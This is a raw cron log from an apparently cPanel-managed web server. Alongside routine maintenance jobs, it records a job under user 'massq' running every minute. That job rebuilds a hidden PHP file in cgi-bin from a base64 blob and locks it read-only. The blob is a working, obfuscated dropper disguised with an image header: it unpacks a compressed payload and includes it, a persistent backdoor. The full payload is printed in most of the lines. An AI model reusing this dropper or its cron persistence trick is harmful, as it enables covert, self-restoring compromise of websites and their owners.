Sep 12 03:07:01 server CROND[23770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:07:01 server CROND[23771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:08:01 server CROND[24156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:08:01 server CROND[24157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:08:01 server CROND[24158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:09:01 server CROND[24527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:09:01 server CROND[24529]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 03:09:01 server CROND[24528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:09:01 server CROND[24530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:10:01 server CROND[24908]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 03:10:01 server CROND[24909]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:10:01 server CROND[24912]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 03:10:01 server CROND[24918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:10:01 server CROND[24919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:10:01 server CROND[24920]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:10:01 server CROND[24921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:10:01 server CROND[24922]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 03:11:01 server CROND[25866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:11:01 server CROND[25865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:11:01 server CROND[25867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:12:01 server CROND[26248]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 03:12:01 server CROND[26250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:12:01 server CROND[26251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:12:01 server CROND[26249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:13:01 server CROND[26635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:13:01 server CROND[26636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:13:01 server CROND[26637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:14:01 server CROND[27007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:14:01 server CROND[27009]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:14:01 server CROND[27008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:15:01 server CROND[27412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:15:01 server CROND[27414]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 03:15:01 server CROND[27415]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:15:01 server CROND[27418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:15:01 server CROND[27419]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:15:01 server CROND[27422]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 03:15:01 server CROND[27417]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 03:15:01 server CROND[27420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:16:01 server CROND[28257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:16:01 server CROND[28259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:16:01 server CROND[28260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:17:01 server CROND[28727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:17:01 server CROND[28728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:17:01 server CROND[28729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:18:01 server CROND[29122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:18:01 server CROND[29123]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:18:01 server CROND[29124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:19:02 server CROND[29521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
